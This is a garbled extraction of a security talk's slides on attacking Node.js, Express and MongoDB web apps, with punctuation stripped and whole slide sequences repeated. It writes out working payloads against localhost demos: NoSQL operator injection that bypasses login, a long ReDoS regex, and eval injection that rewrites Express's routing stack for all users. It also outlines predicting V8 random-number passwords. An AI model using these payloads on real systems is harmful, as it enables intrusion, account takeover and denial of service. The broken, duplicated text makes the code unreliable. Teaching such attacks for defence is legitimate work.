dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 11: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Seed State0[01]

State1[01]

State2[01]

State3[01]

Staten[01]

Random0

Random1

Random2

Randomn

Random3

V8rsquos default PRNG

Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones

First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float

number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive

value

V8rsquos default PRNG

The parameters of the algorithm are modified by Google every few releases but the

algorithm looks similar to the following (the actual value is then divided by 2^32)

httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773

Random number generator using George Marsaglias MWC algorithm

static uint32_t random_base(uint32_t state)

Initialize seed using the system random()

No non-zero seed will ever become zero again

if (state[0] == 0) seed_random(state)

Mix the bits Never replaces state[i] with 0 if it is nonzero

state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)

state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)

return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)

V8rsquos default PRNG

Given 3 consecutive random numbers the values of state[0] and state[1] can be

inferred ndash hence all future values can be known in advance

But

In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons

this issue is treated as low-severity

But

In nodejs all users are running within the same context Each user can tell what

are the values of the global ldquostaterdquo variables

Step 1

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 12: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

V8rsquos default PRNG

Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones

First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float

number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive

value

V8rsquos default PRNG

The parameters of the algorithm are modified by Google every few releases but the

algorithm looks similar to the following (the actual value is then divided by 2^32)

httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773

Random number generator using George Marsaglias MWC algorithm

static uint32_t random_base(uint32_t state)

Initialize seed using the system random()

No non-zero seed will ever become zero again

if (state[0] == 0) seed_random(state)

Mix the bits Never replaces state[i] with 0 if it is nonzero

state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)

state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)

return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)

V8rsquos default PRNG

Given 3 consecutive random numbers the values of state[0] and state[1] can be

inferred ndash hence all future values can be known in advance

But

In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons

this issue is treated as low-severity

But

In nodejs all users are running within the same context Each user can tell what

are the values of the global ldquostaterdquo variables

Step 1

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

